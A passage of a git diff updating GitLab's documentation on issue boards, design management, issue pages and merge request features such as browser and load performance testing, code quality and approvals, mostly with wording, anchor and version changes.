-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -Watch a [video presentation](https://youtu.be/UWsJ8tkHAa8) of -the Issue Board feature (introduced in GitLab 8.11 - August 2016). - -### Advanced features of issue boards - -- Create multiple issue boards per project. -- Create multiple issue boards per group. **(PREMIUM)** -- Add lists for [assignees](#assignee-lists-premium) and [milestones](#milestone-lists-premium). **(PREMIUM)** - -Check all the [GitLab Enterprise features for issue boards](#gitlab-enterprise-features-for-issue-boards). +An issue board can show you what issues your team is working on, who is assigned to each, +and where in the workflow those issues are. - +To let your team members organize their own workflows, use +[multiple issue boards](#use-cases-for-multiple-issue-boards). This allows creating multiple issue +boards in the same project. -## How it works + -The Issue Board feature builds on GitLab's existing -[issue tracking functionality](issues/index.md#issues-list) and -[labels](labels.md) by using them as lists of the Scrum board. +Different issue board features are available in different [GitLab tiers](https://about.gitlab.com/pricing/), +as shown in the following table: -With issue boards you can have a different view of your issues while -maintaining the same filtering and sorting abilities you see across the -issue tracker. An issue board is based on its project's label structure, so it -applies the same descriptive labels to indicate placement on the board, keeping -consistency throughout the entire development lifecycle. +| Tier | Number of project issue boards | Number of [group issue boards](#group-issue-boards) | [Configurable issue boards](#configurable-issue-boards) | [Assignee lists](#assignee-lists) | +|------------------|--------------------------------|------------------------------|---------------------------|----------------| +| Core / Free | Multiple | 1 | No | No | +| Starter / Bronze | Multiple | 1 | Yes | No | +| Premium / Silver | Multiple | Multiple | Yes | Yes | +| Ultimate / Gold | Multiple | Multiple | Yes | Yes | -An issue board shows you what issues your team is working on, who is assigned to each, -and where in the workflow those issues are. +To learn more, visit [GitLab Enterprise features for issue boards](#gitlab-enterprise-features-for-issue-boards) below. -You create issues, host code, perform reviews, build, test, -and deploy from one single platform. Issue boards help you to visualize -and manage the entire process in GitLab. + -With [multiple issue boards](#use-cases-for-multiple-issue-boards), -you go even further, as you can not only keep yourself and your project -organized from a broader perspective with one issue board per project, -but also allow your team members to organize their own workflow by creating -multiple issue boards within the same project. +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +Watch a [video presentation](https://youtu.be/vjccjHI7aGI) of +the Issue Board feature. -## Use cases +## Issue boards use cases You can tailor GitLab issue boards to your own preferred workflow. Here are some common use cases for issue boards. @@ -138,8 +124,7 @@ to improve their workflow with multiple boards. #### Quick assignments -Create lists for each of your team members and quickly drag and drop issues onto each team member's -list. +Create lists for each of your team members and quickly drag issues onto each team member's list. ## Issue board terminology @@ -155,8 +140,8 @@ that belong to it. Types of lists include: Always appears as the leftmost list. - **Closed** (default): all closed issues. Always appears as the rightmost list. - **Label list**: all open issues for a label. -- [**Assignee list**](#assignee-lists-premium): all open issues assigned to a user. -- [**Milestone list**](#milestone-lists-premium): all open issues for a milestone. +- [**Assignee list**](#assignee-lists): all open issues assigned to a user. +- [**Milestone list**](#milestone-lists): all open issues for a milestone. A **Card** is a box on a list, and it represents an issue. You can drag cards from one list to another to change their label, assignee, or milestone. The information you can see on a @@ -172,22 +157,36 @@ card includes: Users with the [Reporter and higher roles](../permissions.md) can use all the functionality of the Issue Board feature to create or delete lists and drag issues from one list to another. -## GitLab Enterprise features for issue boards +## How GitLab orders issues in a list -GitLab issue boards are available on GitLab Core and GitLab.com Free tiers, but some -advanced functionality is present in [higher tiers only](https://about.gitlab.com/pricing/). +When visiting a board, issues appear ordered in any list. You're able to change +that order by dragging the issues. The changed order is saved, so that anybody who visits the same +board later sees the reordering, with some exceptions. -### Summary of features per tier +The first time a given issue appears in any board (that is, the first time a user +loads a board containing that issue), it is ordered in relation to other issues in that list +according to [label priority](labels.md#label-priority). -Different issue board features are available in different [GitLab tiers](https://about.gitlab.com/pricing/), -as shown in the following table: +At this point, that issue is assigned a relative order value by the system, +representing its relative order with respect to the other issues in the list. Any time +you reorder that issue by dragging, its relative order value changes accordingly. -| Tier | Number of Project issue boards | Number of Group issue boards | Configurable issue boards | Assignee lists | -|------------------|--------------------------------|------------------------------|---------------------------|----------------| -| Core / Free | Multiple | 1 | No | No | -| Starter / Bronze | Multiple | 1 | Yes | No | -| Premium / Silver | Multiple | Multiple | Yes | Yes | -| Ultimate / Gold | Multiple | Multiple | Yes | Yes | +Also, any time that issue appears in any board when it's loaded by a user, +the updated relative order value is used for the ordering. It's only the first +time an issue appears that it takes from the priority order mentioned above. This means that +if issue `A` is reordered by dragging to be above issue `B` by any user in +a given board inside your GitLab instance, any time those two issues are subsequently +loaded in any board in the same instance (could be a different project board or a different group +board, for example), that ordering is maintained. + +This ordering also affects [issue lists](issues/sorting_issue_lists.md). +Changing the order in an issue board changes the ordering in an issue list, +and vice versa. + +## GitLab Enterprise features for issue boards + +GitLab issue boards are available on GitLab Core and GitLab.com Free tiers, but some +advanced functionality is present in [higher tiers only](https://about.gitlab.com/pricing/). ### Multiple issue boards @@ -248,6 +247,10 @@ clicking **View scope**.  +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +Watch a [video presentation](https://youtu.be/m5UTNCSqaDk) of +the Configurable Issue Board feature. + ### Focus mode > - [Introduced]((https://about.gitlab.com/releases/2017/04/22/gitlab-9-1-released/#issue-boards-focus-mode-ees-eep)) in [GitLab Starter](https://about.gitlab.com/pricing/) 9.1. @@ -265,7 +268,7 @@ is hidden, allowing you to focus on issues in the board. The top of each list indicates the sum of issue weights for the issues that belong to that list. This is useful when using boards for capacity allocation, -especially in combination with [assignee lists](#assignee-lists-premium). +especially in combination with [assignee lists](#assignee-lists).  @@ -362,7 +365,6 @@ status. - [Create workflows](#create-workflows). - [Drag issues between lists](#drag-issues-between-lists). - [Multi-select issue cards](#multi-select-issue-cards). -- [Re-order issues in lists](#issue-ordering-in-a-list). - Drag and reorder the lists. - Change issue labels (by dragging an issue between lists). - Close an issue (by dragging it to the **Done** list). @@ -441,8 +443,9 @@ You can filter by author, assignee, milestone, and label. ### Create workflows By reordering your lists, you can create workflows. As lists in issue boards are -based on labels, it works out of the box with your existing issues. So if you've -already labeled things with 'Backend' and 'Frontend', the issue appears in +based on labels, it works out of the box with your existing issues. + +So if you've already labeled things with **Backend** and **Frontend**, the issue appears in the lists as you create them. In addition, this means you can easily move something between lists by changing a label. @@ -456,20 +459,22 @@ A typical workflow of using an issue board would be: 1. You move issues around in lists so that your team knows who should be working on what issue. 1. When the work by one team is done, the issue can be dragged to the next list - so someone else can pick up. + so someone else can pick it up. 1. When the issue is finally resolved, the issue is moved to the **Done** list and gets automatically closed. -For instance you can create a list based on the label of 'Frontend' and one for -'Backend'. A designer can start working on an issue by adding it to the -'Frontend' list. That way, everyone knows that this issue is now being -worked on by the designers. Then, once they're done, all they have to do is -drag it over to the next list, 'Backend', where a backend developer can +For example, you can create a list based on the label of **Frontend** and one for +**Backend**. A designer can start working on an issue by adding it to the +**Frontend** list. That way, everyone knows that this issue is now being +worked on by the designers. + +Then, once they're done, all they have to do is +drag it to the next list, **Backend**, where a backend developer can eventually pick it up. Once they’re done, they move it to **Done**, to close the issue. This process can be seen clearly when visiting an issue since with every move -to another list the label changes and a system not is recorded. +to another list the label changes and a system note is recorded.  @@ -497,33 +502,6 @@ To select and move multiple cards:  -### Issue ordering in a list - -When visiting a board, issues appear ordered in any list. You're able to change -that order by dragging and dropping the issues. The changed order will be saved -to the system so that anybody who visits the same board later will see the reordering, -with some exceptions. - -The first time a given issue appears in any board (that is, the first time a user -loads a board containing that issue), it is ordered with -respect to other issues in that list according to [Priority order](labels.md#label-priority). - -At that point, that issue is assigned a relative order value by the system -representing its relative order with respect to the other issues in the list. Any time -you drag-and-drop reorder that issue, its relative order value changes accordingly. - -Also, any time that issue appears in any board when it's loaded by a user, -the updated relative order value is used for the ordering. (It's only the first -time an issue appears that it takes from the Priority order mentioned above.) This means that -if issue `A` is drag-and-drop reordered to be above issue `B` by any user in -a given board inside your GitLab instance, any time those two issues are subsequently -loaded in any board in the same instance (could be a different project board or a different group -board, for example), that ordering is maintained. - -This ordering also affects [issue lists](issues/sorting_issue_lists.md). -Changing the order in an issue board changes the ordering in an issue list, -and vice versa. - ## Tips A few things to remember: @@ -537,4 +515,4 @@ A few things to remember: and show only the issues from all lists that have that label. - For performance and visibility reasons, each list shows the first 20 issues by default. If you have more than 20 issues, start scrolling down and the next - 20 appears. + 20 appear. diff --git a/doc/user/project/issues/design_management.md b/doc/user/project/issues/design_management.md index 5e456c7986c..7c9278c8403 100644 --- a/doc/user/project/issues/design_management.md +++ b/doc/user/project/issues/design_management.md @@ -1,3 +1,9 @@ +--- +stage: Create +group: Knowledge +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +--- + # Design Management > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/660) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.2. @@ -72,39 +78,12 @@ and connect to GitLab through a personal access token. The details are explained ## The Design Management section > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/223193) in GitLab 13.2, Designs are displayed directly on the issue description rather than on a separate tab. -> - The new display is deployed behind a feature flag, enabled by default. -> - It's enabled on GitLab.com. -> - It cannot be enabled or disabled per-project. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-displaying-designs-on-the-issue-description-core-only). If disabled, it will move Designs back to the **Designs** tab. +> - New display's feature flag [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/223197) in GitLab 13.4. You can find to the **Design Management** section in the issue description:  -### Enable or disable displaying Designs on the issue description **(CORE ONLY)** - -Displaying Designs on the issue description is under development but ready for -production use. It is deployed behind a feature flag that is **enabled by -default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it for your instance. - -To disable it: - -```ruby -Feature.disable(:design_management_moved) -``` - -To enable it: - -```ruby -Feature.enable(:design_management_moved) -``` - -By disabling this feature, designs will be displayed on the **Designs** tab -instead of directly on the issue description. - ## Adding designs To upload Design images, drag files from your computer and drop them in the Design Management section, @@ -252,13 +231,47 @@ Note that your resolved comment pins will disappear from the Design to free up s However, if you need to revisit or find a resolved discussion, all of your resolved threads will be available in the **Resolved Comment** area at the bottom of the right sidebar. +## Add To-Do for Designs + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/198439) in GitLab 13.4. +> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-the-design-to-do-button). **(CORE ONLY)** + +CAUTION: **Warning:** +This feature might not be available to you. Check the **version history** note above for details. + +Add a to-do for a design by clicking **Add a To-Do** on the design sidebar: + + + +### Enable or disable the design To-Do button **(CORE ONLY)** + +The **Add a To-Do** button for Designs is under development but ready for production use. It is +deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:design_management_todo_button) +``` + +To disable it: + +```ruby +Feature.disable(:design_management_todo_button) +``` + ## Referring to designs in Markdown > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217160) in **GitLab 13.1**. > - It is deployed behind a feature flag, disabled by default. > - It is disabled on GitLab.com. > - It is not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-design-references-core-only). **(CORE ONLY)** +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-design-references). **(CORE ONLY)** We support referring to designs in [Markdown](../../markdown.md), which is available throughout the application, including in merge request and issue descriptions, in discussions and comments, and in wiki pages. diff --git a/doc/user/project/issues/due_dates.md b/doc/user/project/issues/due_dates.md index 56fb4ca5cc7..55b45bf9d3d 100644 --- a/doc/user/project/issues/due_dates.md +++ b/doc/user/project/issues/due_dates.md @@ -44,9 +44,9 @@ the icon and the date colored red. You can sort issues by those that are  -Due dates also appear in your [todos list](../../todos.md). +Due dates also appear in your [to-do list](../../todos.md). - + The day before an open issue is due, an email will be sent to all participants of the issue. Like the due date, the "day before the due date" is determined by the diff --git a/doc/user/project/issues/img/design_todo_button_v13_4.png b/doc/user/project/issues/img/design_todo_button_v13_4.png Binary files differnew file mode 100644 index 00000000000..62bbecf4ed9 --- /dev/null +++ b/doc/user/project/issues/img/design_todo_button_v13_4.png diff --git a/doc/user/project/issues/index.md b/doc/user/project/issues/index.md index a6911d183c1..060266a478f 100644 --- a/doc/user/project/issues/index.md +++ b/doc/user/project/issues/index.md @@ -93,7 +93,7 @@ must be set. While you can view and manage the full details of an issue on the [issue page](#issue-page), you can also work with multiple issues at a time using the [Issues List](#issues-list), -[Issue Boards](#issue-boards), Issue references, and [Epics](#epics-premium)**(PREMIUM)**. +[Issue Boards](#issue-boards), Issue references, and [Epics](#epics)**(PREMIUM)**. Key actions for Issues include: @@ -112,8 +112,6 @@ and modify them if you have the necessary [permissions](../../permissions.md). #### Real-time sidebar **(CORE ONLY)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17589) in GitLab 13.3. -> - It cannot be enabled or disabled per-project. -> - It's not recommended for production use. Assignees in the sidebar are updated in real time. This feature is **disabled by default**. To enable, you need to enable [ActionCable in-app mode](https://docs.gitlab.com/omnibus/settings/actioncable.html). @@ -186,8 +184,8 @@ requires [GraphQL](../../../api/graphql/index.md) to be enabled. ### Health status **(ULTIMATE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. - +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36427) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.10. +> - Health status of closed issues [can't be edited](https://gitlab.com/gitlab-org/gitlab/-/issues/220867) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.4 and later. To help you track the status of your issues, you can assign a status to each issue to flag work that's progressing as planned or needs attention to keep on schedule: @@ -197,8 +195,11 @@ that's progressing as planned or needs attention to keep on schedule:  +After an issue is closed, its health status can't be edited and the "Edit" button becomes disabled +until the issue is reopened. + You can then see issue statuses on the -[Epic tree](../../group/epics/index.md#issue-health-status-in-epic-tree-ultimate). +[Epic tree](../../group/epics/index.md#issue-health-status-in-epic-tree). #### Disable issue health status @@ -220,4 +221,4 @@ Feature.disable(:save_issuable_health_status) - [Export issues](csv_export.md) - [Issues API](../../../api/issues.md) - Configure an [external issue tracker](../../../integration/external-issue-tracker.md) - such as Jira, Redmine, or Bugzilla. + such as Jira, Redmine, Bugzilla, or EWM. diff --git a/doc/user/project/issues/issue_data_and_actions.md b/doc/user/project/issues/issue_data_and_actions.md index 77c50f9178c..5356e6aeb40 100644 --- a/doc/user/project/issues/issue_data_and_actions.md +++ b/doc/user/project/issues/issue_data_and_actions.md @@ -21,13 +21,13 @@ You can find all the information for that issue on one screen. - **1.** [New Issue, close issue (reopen issue, report issue)](#new-issue-close-issue-reopen-issue-report-issue) - **2.** [To Do](#to-do) - **3.** [Assignee](#assignee) - - **3.1.** [Multiple Assignees **(STARTER)**](#multiple-assignees-starter) -- **4.** [Epic **(PREMIUM)**](#epic-premium) + - **3.1.** [Multiple Assignees **(STARTER)**](#multiple-assignees) +- **4.** [Epic **(PREMIUM)**](#epic) - **5.** [Milestone](#milestone) - **6.** [Time tracking](#time-tracking) - **7.** [Due date](#due-date) - **8.** [Labels](#labels) -- **9.** [Weight **(STARTER)**](#weight-starter) +- **9.** [Weight **(STARTER)**](#weight) - **10.** [Confidentiality](#confidentiality) - **11.** [Lock issue](#lock-issue) - **12.** [Participants](#participants) @@ -36,7 +36,7 @@ You can find all the information for that issue on one screen. - **15.** [Edit](#edit) - **16.** [Description](#description) - **17.** [Mentions](#mentions) -- **18.** [Related Issues **(STARTER)**](#related-issues-starter) +- **18.** [Related Issues **(STARTER)**](#related-issues) - **19.** [Related Merge Requests](#related-merge-requests) - **20.** [Award emoji](#award-emoji) - **21.** [Show all activity](#show-all-activity) @@ -88,7 +88,7 @@ An issue can be assigned to: - Yourself. - Another person. -- [Many people](#multiple-assignees-starter). **(STARTER)** +- [Many people](#multiple-assignees). **(STARTER)** The assignee(s) can be changed as often as needed. The idea is that the assignees are responsible for that issue until it's reassigned to someone else to take it from there. @@ -196,7 +196,7 @@ allowing many formatting options. ### Mentions You can mention a user or a group present in your GitLab instance with `@username` or -`@groupname` and they will be notified via todos and email, unless they have disabled +`@groupname` and they will be notified via to-dos and email, unless they have disabled all notifications in their profile settings. This is controlled in the [notification settings](../../profile/notifications.md). diff --git a/doc/user/project/issues/sorting_issue_lists.md b/doc/user/project/issues/sorting_issue_lists.md index 7cbd9906800..8a8359a4b02 100644 --- a/doc/user/project/issues/sorting_issue_lists.md +++ b/doc/user/project/issues/sorting_issue_lists.md @@ -11,7 +11,7 @@ etc. The available sorting options can change based on the context of the list. For sorting by issue priority, see [Label Priority](../labels.md#label-priority). In group and project issue lists, it is also possible to order issues manually, -similar to [issue boards](../issue_board.md#issue-ordering-in-a-list). +similar to [issue boards](../issue_board.md#how-gitlab-orders-issues-in-a-list). ## Manual sorting @@ -31,6 +31,6 @@ a given list inside your GitLab instance, any time those two issues are subseque loaded in any list in the same instance (could be a different project issue list or a different group issue list, for example), that ordering will be maintained. -This ordering also affects [issue boards](../issue_board.md#issue-ordering-in-a-list). +This ordering also affects [issue boards](../issue_board.md#how-gitlab-orders-issues-in-a-list). Changing the order in an issue list changes the ordering in an issue board, and vice versa. diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md index 10457e40e0b..040ca4b439b 100644 --- a/doc/user/project/merge_requests/browser_performance_testing.md +++ b/doc/user/project/merge_requests/browser_performance_testing.md @@ -37,7 +37,7 @@ Consider the following workflow: ## How browser performance testing works First, define a job in your `.gitlab-ci.yml` file that generates the -[Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance-premium). +[Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance). GitLab then checks this report, compares key performance metrics for each page between the source and target branches, and shows the information in the merge request. @@ -85,7 +85,7 @@ The example uses a CI/CD template that is included in all GitLab installations s or older, you must [add the configuration manually](#gitlab-versions-123-and-older) The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance), -and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance-premium) +and it saves the full HTML sitespeed.io report as a [Browser Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsperformance) that you can later download and analyze. This implementation always takes the latest Browser Performance artifact available. If [GitLab Pages](../pages/index.md) is enabled, you can view the report directly in your browser. @@ -93,7 +93,7 @@ you can view the report directly in your browser. You can also customize the jobs with environment variables: - `SITESPEED_IMAGE`: Configure the Docker image to use for the job (default `sitespeedio/sitespeed.io`), but not the image version. -- `SITESPEED_VERSION`: Configure the version of the Docker image to use for the job (default `13.3.0`). +- `SITESPEED_VERSION`: Configure the version of the Docker image to use for the job (default `14.1.0`). - `SITESPEED_OPTIONS`: Configure any additional sitespeed.io options as required (default `nil`). Refer to the [sitespeed.io documentation](https://www.sitespeed.io/documentation/sitespeed.io/configuration/) for more details. For example, you can override the number of runs sitespeed.io @@ -196,13 +196,13 @@ performance: image: docker:git variables: URL: https://example.com - SITESPEED_VERSION: 13.3.0 + SITESPEED_VERSION: 14.1.0 SITESPEED_OPTIONS: '' services: - docker:stable-dind script: - mkdir gitlab-exporter - - wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/master/index.js + - wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/1.1.0/index.js - mkdir sitespeed-results - docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io sitespeedio/sitespeed.io:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --outputFolder sitespeed-results $URL $SITESPEED_OPTIONS - mv sitespeed-results/data/performance.json performance.json @@ -226,7 +226,7 @@ performance: - docker:stable-dind script: - mkdir gitlab-exporter - - wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/master/index.js + - wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/1.1.0/index.js - mkdir sitespeed-results - docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io sitespeedio/sitespeed.io:6.3.1 --plugins.add ./gitlab-exporter --outputFolder sitespeed-results $URL - mv sitespeed-results/data/performance.json performance.json diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md index 3c697e22cf5..e03d4e99b86 100644 --- a/doc/user/project/merge_requests/code_quality.md +++ b/doc/user/project/merge_requests/code_quality.md @@ -23,7 +23,7 @@ Code Quality: Quality](https://gitlab.com/gitlab-org/ci-cd/codequality) project using [default Code Climate configurations](https://gitlab.com/gitlab-org/ci-cd/codequality/-/tree/master/codeclimate_defaults). - Can make use of a [template](#example-configuration). - Is available with [Auto - DevOps](../../../topics/autodevops/stages.md#auto-code-quality-starter). + DevOps](../../../topics/autodevops/stages.md#auto-code-quality). - Can be extended through [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) or a [custom tool](#implementing-a-custom-tool). ## Code Quality Widget @@ -69,7 +69,7 @@ For instance, consider the following workflow: This example shows how to run Code Quality on your code by using GitLab CI/CD and Docker. It requires GitLab 11.11 or later, and GitLab Runner 11.5 or later. If you are using -GitLab 11.4 or ealier, you can view the deprecated job definitions in the +GitLab 11.4 or earlier, you can view the deprecated job definitions in the [documentation archive](https://docs.gitlab.com/12.10/ee/user/project/merge_requests/code_quality.html#previous-job-definitions). First, you need GitLab Runner configured: @@ -77,7 +77,7 @@ First, you need GitLab Runner configured: - For the [Docker-in-Docker workflow](../../../ci/docker/using_docker_build.md#use-docker-in-docker-workflow-with-docker-executor). - With enough disk space to handle generated Code Quality files. For example on the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB. -Once you set up the Runner, include the Code Quality template in your CI configuration: +Once you set up GitLab Runner, include the Code Quality template in your CI configuration: ```yaml include: @@ -102,6 +102,16 @@ code_quality: CODE_QUALITY_IMAGE: "registry.example.com/codequality-fork:latest" ``` +In [GitLab 13.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/11100), you can override the [Code Quality environment variables](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables): + +```yaml +variables: + TIMEOUT_SECONDS: 1 + +include: + - template: Code-Quality.gitlab-ci.yml +``` + By default, report artifacts are not downloadable. If you need them downloadable on the job details page, you can add `gl-code-quality-report.json` to the artifact paths like so: @@ -126,7 +136,7 @@ This information will be automatically extracted and shown right in the merge re CAUTION: **Caution:** On self-managed instances, if a malicious actor compromises the Code Quality job -definition they will be able to execute privileged Docker commands on the Runner +definition they will be able to execute privileged Docker commands on the runner host. Having proper access control policies mitigates this attack vector by allowing access only to trusted actors. @@ -276,7 +286,7 @@ This adds SonarJava to the `plugins:` section of the [default `.codeclimate.yml` included in your project. Changes to the `plugins:` section do not affect the `exclude_patterns` section of the -defeault `.codeclimate.yml`. See the Code Climate documentation for +default `.codeclimate.yml`. See the Code Climate documentation for [excluding files and folders](https://docs.codeclimate.com/docs/excluding-files-and-folders) for more details. diff --git a/doc/user/project/merge_requests/getting_started.md b/doc/user/project/merge_requests/getting_started.md index c7cabf3c73b..a0be32e0708 100644 --- a/doc/user/project/merge_requests/getting_started.md +++ b/doc/user/project/merge_requests/getting_started.md @@ -53,7 +53,7 @@ When you start a new merge request, you can immediately include the following options, or add them later by clicking the **Edit** button on the merge request's page at the top-right side: -- [Assign](#assignee) the merge request to a colleague for review. With GitLab Starter and higher tiers, you can [assign it to more than one person at a time](#multiple-assignees-starter). +- [Assign](#assignee) the merge request to a colleague for review. With GitLab Starter and higher tiers, you can [assign it to more than one person at a time](#multiple-assignees). - Set a [milestone](../milestones/index.md) to track time-sensitive changes. - Add [labels](../labels.md) to help contextualize and filter your merge requests over time. - Require [approval](merge_request_approvals.md) from your team. **(STARTER)** diff --git a/doc/user/project/merge_requests/img/browser_performance_testing.png b/doc/user/project/merge_requests/img/browser_performance_testing.png Binary files differindex 016abb89f7c..a3d7022bcfc 100644 --- a/doc/user/project/merge_requests/img/browser_performance_testing.png +++ b/doc/user/project/merge_requests/img/browser_performance_testing.png diff --git a/doc/user/project/merge_requests/img/update_approval_rule_v13_4.png b/doc/user/project/merge_requests/img/update_approval_rule_v13_4.png Binary files differnew file mode 100644 index 00000000000..af713b48140 --- /dev/null +++ b/doc/user/project/merge_requests/img/update_approval_rule_v13_4.png diff --git a/doc/user/project/merge_requests/index.md b/doc/user/project/merge_requests/index.md index a9ee9d8e507..69276f0677b 100644 --- a/doc/user/project/merge_requests/index.md +++ b/doc/user/project/merge_requests/index.md @@ -19,7 +19,7 @@ A. Consider you're a software developer working in a team: 1. You checkout a new branch, and submit your changes through a merge request 1. You gather feedback from your team 1. You work on the implementation optimizing code with [Code Quality reports](code_quality.md) -1. You verify your changes with [JUnit test reports](../../../ci/junit_test_reports.md) in GitLab CI/CD +1. You verify your changes with [Unit test reports](../../../ci/unit_test_reports.md) in GitLab CI/CD 1. You avoid using dependencies whose license is not compatible with your project with [License Compliance reports](../../compliance/license_compliance/index.md) **(ULTIMATE)** 1. You request the [approval](merge_request_approvals.md) from your manager **(STARTER)** 1. Your manager: diff --git a/doc/user/project/merge_requests/load_performance_testing.md b/doc/user/project/merge_requests/load_performance_testing.md index 97f4f202ab3..daebd71e14f 100644 --- a/doc/user/project/merge_requests/load_performance_testing.md +++ b/doc/user/project/merge_requests/load_performance_testing.md @@ -28,7 +28,7 @@ GET calls to a popular API endpoint in your application to see how it performs. ## How Load Performance Testing works First, define a job in your `.gitlab-ci.yml` file that generates the -[Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance-premium). +[Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance). GitLab checks this report, compares key load performance metrics between the source and target branches, and then shows the information in a merge request widget: @@ -102,7 +102,7 @@ job. An example configuration workflow: -1. Set up a GitLab Runner that can run Docker containers, such as a Runner using the +1. Set up GitLab Runner to run Docker containers, like the [Docker-in-Docker workflow](../../../ci/docker/using_docker_build.md#use-docker-in-docker-workflow-with-docker-executor). 1. Configure the default Load Performance Testing CI job in your `.gitlab-ci.yml` file. You need to include the template and configure it with variables: @@ -140,7 +140,7 @@ For example, you can override the duration of the test with a CLI option: GitLab only displays the key performance metrics in the MR widget if k6's results are saved via [summary export](https://k6.io/docs/results-visualization/json#summary-export) -as a [Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance-premium). +as a [Load Performance report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportsload_performance). The latest Load Performance artifact available is always used, using the summary values from the test. @@ -152,17 +152,20 @@ The CI/CD YAML configuration example above works for testing against static envi but it can be extended to work with [review apps](../../../ci/review_apps) or [dynamic environments](../../../ci/environments) with a few extra steps. -The best approach is to capture the dynamic URL into a custom environment variable that -is then [inherited](../../../ci/variables/README.md#inherit-environment-variables) -by the `load_performance` job. The k6 test script to be run should then be configured to -use that environment URL, such as: ``http.get(`${__ENV.ENVIRONMENT_URL`})``. +The best approach is to capture the dynamic URL in a [`.env` file](https://docs.docker.com/compose/env-file/) +as a job artifact to be shared, then use a custom environment variable we've provided named `K6_DOCKER_OPTIONS` +to configure the k6 Docker container to use the file. With this, k6 can then use any +environment variables from the `.env` file in scripts using standard JavaScript, +such as: ``http.get(`${__ENV.ENVIRONMENT_URL`})``. For example: 1. In the `review` job: - 1. Capture the dynamic URL and save it into a `.env` file, e.g. `echo "ENVIRONMENT_URL=$CI_ENVIRONMENT_URL" >> review.env`. - 1. Set the `.env` file to be an [`artifacts:reports:dotenv` report](../../../ci/variables/README.md#inherit-environment-variables). -1. Set the `load_performance` job to depend on the review job, so it inherits the environment variable. + 1. Capture the dynamic URL and save it into a `.env` file, e.g. `echo "ENVIRONMENT_URL=$CI_ENVIRONMENT_URL" >> review.env`. + 1. Set the `.env` file to be a [job artifact](../../../ci/pipelines/job_artifacts.md#job-artifacts). +1. In the `load_performance` job: + 1. Set it to depend on the review job, so it inherits the env file. + 1. Set the `K6_DOCKER_OPTIONS` variable with the [Docker cli option for env files](https://docs.docker.com/engine/reference/commandline/run/#set-environment-variables--e---env---env-file), for example `--env-file review.env`. 1. Configure the k6 test script to use the environment variable in it's steps. Your `.gitlab-ci.yml` file might be similar to: @@ -184,15 +187,16 @@ review: - run_deploy_script - echo "ENVIRONMENT_URL=$CI_ENVIRONMENT_URL" >> review.env artifacts: - reports: - dotenv: - review.env + paths: + - review.env rules: - if: '$CI_COMMIT_BRANCH' # Modify to match your pipeline rules, or use `only/except` if needed. load_performance: dependencies: - review + variables: + K6_DOCKER_OPTIONS: '--env-file review.env' rules: - if: '$CI_COMMIT_BRANCH' # Modify to match your pipeline rules, or use `only/except` if needed. ``` diff --git a/doc/user/project/merge_requests/merge_request_approvals.md b/doc/user/project/merge_requests/merge_request_approvals.md index 407fc5db425..185ab0e6298 100644 --- a/doc/user/project/merge_requests/merge_request_approvals.md +++ b/doc/user/project/merge_requests/merge_request_approvals.md @@ -36,7 +36,7 @@ Required approvals enable multiple use cases: database, and so on, for all proposed code changes. - Designating [Code Owners as eligible approvers](#code-owners-as-eligible-approvers), determined by the files changed in a merge request. -- [Requiring approval from a security team](#security-approvals-in-merge-requests-ultimate) +- [Requiring approval from a security team](#security-approvals-in-merge-requests) before merging code that could introduce a vulnerability.**(ULTIMATE)** ### Approval Rules @@ -52,7 +52,7 @@ minimum number of required approvers can still be set in the [project settings f You can opt to define one single rule to approve a merge request among the 